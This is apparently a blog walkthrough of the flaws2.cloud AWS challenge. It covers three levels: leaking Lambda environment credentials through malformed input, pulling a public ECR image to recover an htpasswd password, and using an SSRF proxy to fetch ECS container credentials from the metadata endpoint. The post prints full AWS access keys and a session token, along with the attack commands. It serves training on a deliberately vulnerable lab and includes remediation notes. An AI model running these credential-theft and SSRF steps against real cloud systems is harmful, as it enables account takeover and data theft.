Exploiting AWS 2 - Attacker's Perspective (Flaws2.Cloud)

Exploiting AWS 2 - Attacker's Perspective (Flaws2.Cloud)

In this path as an attacker, you’ll exploit your way through misconfigurations in Lambda (serverless functions) and containers in ECS Fargate.

This is a walkthrough of the flaws2.cloud challenge where you focus on AWS-specific issues, so no buffer overflows, XSS, etc. You can play by getting hands-on keyboard or just click through the hints to learn the concepts and go from one level to the next without playing.

Video Walkthrough:

Attacker

In this path as an attacker, you’ll exploit your way through misconfigurations in Lambda (serverless functions) and containers in ECS Fargate.

Level1

Input Validation

For this level, you’ll need to enter the correct PIN code

image.png

Checking the source code, the input validation is only done by javascript and the code only validates for a number (Float in JS)

<script type="text/javascript">
                function validateForm() {
                    var code = document.forms["myForm"]["code"].value;
                    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
                        alert("Code must be a number");
                        return false;
                    }
                }
            </script>

image.png

By changing the parameter to something that is not a number like the letter “a”, we can see the error messages it throws

image.png

https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=a

The result is an error based on the malformed input...an error that gives us a ton of data we should not have access to.

Let’s copy this data and use an online JSON formatter to make it look more appealing. FROM:

{"AWS_LAMBDA_FUNCTION_NAME":"level1","_AWS_XRAY_DAEMON_ADDRESS":"169.254.79.129","PATH":"/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin","AWS_XRAY_DAEMON_ADDRESS":"169.254.79.129:2000","AWS_EXECUTION_ENV":"AWS_Lambda_nodejs8.10","AWS_LAMBDA_FUNCTION_VERSION":"$LATEST","AWS_LAMBDA_RUNTIME_API":"127.0.0.1:9001","AWS_XRAY_CONTEXT_MISSING":"LOG_ERROR","AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJHMEUCIHLzqsw+G1kQlxALmUXcNPdCuD35xoHEV/50FeF3A/90AiEA7YmWJjdzbnCU/GpjUhm7Hj6pMy+z1YYSoXleJq1GLoUqlAIIzP//////////ARADGgw2NTM3MTEzMzE3ODgiDMpofLBKCsA11AEwvSroAUuxmVgoSWhAT22O8LPNzeZG+qjvetLU7K/p2f3i0jwjA6Tcj48um2soe9Sbz4JLIClYaasx2fPz1B8eDiebiGCGevLLAfleE6GgXQUk+Ba/77lfK7L/4dydIgTnBE+8hY3g6BlOj70nrOJz0q+d2D7uX/Bm9WC5MuA5heupr8lUkR+3VDE3imWVXZilHOlTo5yiyA6bzG6MVxn+nd+7yRYsOeCxBlzAIwdb98qsKU32WTS7DpHsfSBb0Nu2GQ2gTW1lT6auEZaHq0XWSydn9yYPNfN4xPv0utZwbyqO3QIao8orwrt5p24w8+TckwY6mgEUfCjb7EAhkm57pMdvC/7pIh8pZbEBrFJdHzbTcLLIgMqu6EdBkOO8iuh2GGtE5mWJMfIAsoN8OS/VNaFMcJbGzO5Lb9hrRb68rPynNTL1YtGowxWqIYyjhD+52prkoB57v0yfTQ35amZJkPIAswGGTG8IwUEdJfNGrzQ3UgdhS0xOZu9pu07rKjnLTXdRAJknl3sBQq0Wccqy","AWS_LAMBDA_LOG_STREAM_NAME":"2022/05/08/[$LATEST]69ea1cc0496f43e28d566d96ebeb4ca1","TZ":":UTC","AWS_DEFAULT_REGION":"us-east-1","LANG":"en_US.UTF-8","LD_LIBRARY_PATH":"/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib","AWS_LAMBDA_LOG_GROUP_NAME":"/aws/lambda/level1","_HANDLER":"index.handler","AWS_LAMBDA_FUNCTION_MEMORY_SIZE":"128","_AWS_XRAY_DAEMON_PORT":"2000","AWS_LAMBDA_INITIALIZATION_TYPE":"on-demand","AWS_ACCESS_KEY_ID":"ASIAZQNB3KHGFPJY5DPJ","AWS_SECRET_ACCESS_KEY":"gjy5GEP0krqiDbrMI2q2EtlWA2t7FHnAfNMRw2On","LAMBDA_TASK_ROOT":"/var/task","LAMBDA_RUNTIME_DIR":"/var/runtime","AWS_REGION":"us-east-1","NODE_PATH":"/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules","_X_AMZN_TRACE_ID":"Root=1-627732ad-53c34cb3387b64d3292699ad;Parent=4be46de117eaaca9;Sampled=0"}

TO:

{
  "AWS_LAMBDA_FUNCTION_NAME": "level1",
  "_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.129",
  "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
  "AWS_XRAY_DAEMON_ADDRESS": "169.254.79.129:2000",
  "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10",
  "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
  "AWS_LAMBDA_RUNTIME_API": "127.0.0.1:9001",
  "AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR",
  "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJHMEUCIHLzqsw+G1kQlxALmUXcNPdCuD35xoHEV/50FeF3A/90AiEA7YmWJjdzbnCU/GpjUhm7Hj6pMy+z1YYSoXleJq1GLoUqlAIIzP//////////ARADGgw2NTM3MTEzMzE3ODgiDMpofLBKCsA11AEwvSroAUuxmVgoSWhAT22O8LPNzeZG+qjvetLU7K/p2f3i0jwjA6Tcj48um2soe9Sbz4JLIClYaasx2fPz1B8eDiebiGCGevLLAfleE6GgXQUk+Ba/77lfK7L/4dydIgTnBE+8hY3g6BlOj70nrOJz0q+d2D7uX/Bm9WC5MuA5heupr8lUkR+3VDE3imWVXZilHOlTo5yiyA6bzG6MVxn+nd+7yRYsOeCxBlzAIwdb98qsKU32WTS7DpHsfSBb0Nu2GQ2gTW1lT6auEZaHq0XWSydn9yYPNfN4xPv0utZwbyqO3QIao8orwrt5p24w8+TckwY6mgEUfCjb7EAhkm57pMdvC/7pIh8pZbEBrFJdHzbTcLLIgMqu6EdBkOO8iuh2GGtE5mWJMfIAsoN8OS/VNaFMcJbGzO5Lb9hrRb68rPynNTL1YtGowxWqIYyjhD+52prkoB57v0yfTQ35amZJkPIAswGGTG8IwUEdJfNGrzQ3UgdhS0xOZu9pu07rKjnLTXdRAJknl3sBQq0Wccqy",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2022/05/08/[$LATEST]69ea1cc0496f43e28d566d96ebeb4ca1",
  "TZ": ":UTC",
  "AWS_DEFAULT_REGION": "us-east-1",
  "LANG": "en_US.UTF-8",
  "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1",
  "_HANDLER": "index.handler",
  "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128",
  "_AWS_XRAY_DAEMON_PORT": "2000",
  "AWS_LAMBDA_INITIALIZATION_TYPE": "on-demand",
  "AWS_ACCESS_KEY_ID": "ASIAZQNB3KHGFPJY5DPJ",
  "AWS_SECRET_ACCESS_KEY": "gjy5GEP0krqiDbrMI2q2EtlWA2t7FHnAfNMRw2On",
  "LAMBDA_TASK_ROOT": "/var/task",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_REGION": "us-east-1",
  "NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules",
  "_X_AMZN_TRACE_ID": "Root=1-627732ad-53c34cb3387b64d3292699ad;Parent=4be46de117eaaca9;Sampled=0"
}

As observed from the above data we now have access to some variables which just happen to be AWS credentials. With these credentials, I can create an aws profile to get access to the underlying AWS infrastructure.

image.png

Add the AWS session token to the ~/.aws/credentials file

image.png

Use the get-caller-identity API call to view details about the IAM user or role whose credentials we just compromised.

aws sts get-caller-identity —profile havoc

image.png

These credentials can now be used to list the contents of the bucket this site is running out of

aws s3 ls s3://level1.flaws2.cloud —profile havoc

image.png

Viewing the contents of the secret file in the browser leads you to Level2

Vulnerabilities

  • Poor client side input validation + ability to bypass JS
  • Lambda functions obtain their credentials from environmental variables which could potential store sensitive information.
  • The IAM role’s access to S3 is overly permissive for its operational use.

Remediation

  • Proper input validation on client side.
  • Secure environmental variables using server-side encryption to protect your data at rest and client-side encryption to protect your data in transit
  • Always use the principle of least privilege when provisioning permissions. Tools like AWS Access Advisor, CloudTracker, & RepoKid can help with this.

Level2

Containers

This level is running as a container at http://container.target.flaws2.cloud/. We’re also given a hint that the ECR (Elastic Container Registry) is named “level2”.

With this information we can try to enumerate the ECR by listing the images available. This will utilize the repository name of level2 and the account id observed from enumerating the IAM identity. This activity can be performed from any AWS account from a user that has ECR privileges - AmazonEC2ContainerRegistryFullAccess and AmazonEC2ContainerRegistryReadOnly

aws ecr list-images --repository-name level2 --registry-id 653711331788 --profile havoc

image.png

As observed from the imageDigest parameter, the image is public and either be downloaded locally and investigated with docker commands or investigated manually with the AWS CLI

USING DOCKER:

# **Download the image locally and inspect the container**
aws ecr get-login
docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
docker inspect level2
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0

image.png

image.png

Pull the image

image.png

Use docker inspect to view detailed information about the container including the last run command.

Use docker history for a more in-depth view of the commands used to actually create the docker container

docker history 2d73de35b781 —no-trunc

image.png

As observed we get a bunch of commands but the most important one to is

/bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password

Which contain the creds needed to login to the container at http://container.target.flaws2.cloud/

USING AWS CLI:

Use the batch-get-image API call to get detailed information for available images without using docker.

aws --profile havoc ecr batch-get-image --repository-name level2 --registry-id 653711331788 --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson’

image.png

Now for the given image, we use the get-download-url-for-layer API call to retrieve the pre-signed AWS S3 download URL corresponding to the image, in this case I’m using the very first image observed.

aws --profile havoc ecr get-download-url-for-layer --repository-name level2 --registry-id 653711331788 --layer-digest "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621”

image.png

Download the config file from the URL using wget and save the output as “container”

image.png

Viewing the contents of the container and parsing with jq, we can observe the command that shows the credentials

image.png

Vulnerabilities

  • Publicly accessible container registry.

Remediation

  • Avoid making resources publicly accessible if access to them publicly is not necessary for their operation.

Level3

Metadata

The container’s webserver you got access to includes a simple proxy that can be accessed from:

**http://container.target.flaws2.cloud/proxy/http://flaws.cloud** or **http://container.target.flaws2.cloud/proxy/http://neverssl.com**

Using the hints provided we’re able to view the local files on this proxy and it’s environmental variables looking in the **/proc/self/environ** directory

image.png

The environmental variables then give us access to the credentials stored in AWS_CONTAINER_CREDENTIALS_RELATIVE_URI . This is because containers running via ECS on AWS have their creds at 169.254.170.2/v2/credentials/GUID where the GUID is found from the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable

Using the credentials URI found “/v2/credentials/6d7c28dc-ba85-4e97-aa1d-afef4a6c1f14” we can make a request to the proxy at http://container.target.flaws2.cloud/proxy/http://169.254.170.2//v2/credentials/6d7c28dc-ba85-4e97-aa1d-afef4a6c1f14

curl -s http://container.target.flaws2.cloud/proxy/http://169.254.170.2//v2/credentials/6d7c28dc-ba85-4e97-aa1d-afef4a6c1f1 | jq

image.png

As always we can cause chaos or wreak havoc in this AWS environment

image.png

image.png

image.png

As always, since we’re dealing with buckets we can use these credentials to now list buckets and get the final link which can be found at http://the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud/

image.png

Vulnerabilities

  • Exposed proxy which doesn't restrict access to instance's local file.

Remediation

  • Restrict access to resources an IAM roles are restricted as much as possible using the principle of least privilege.

Did you find this article valuable?

Support Day's Cyber Works by becoming a sponsor. Any amount is appreciated!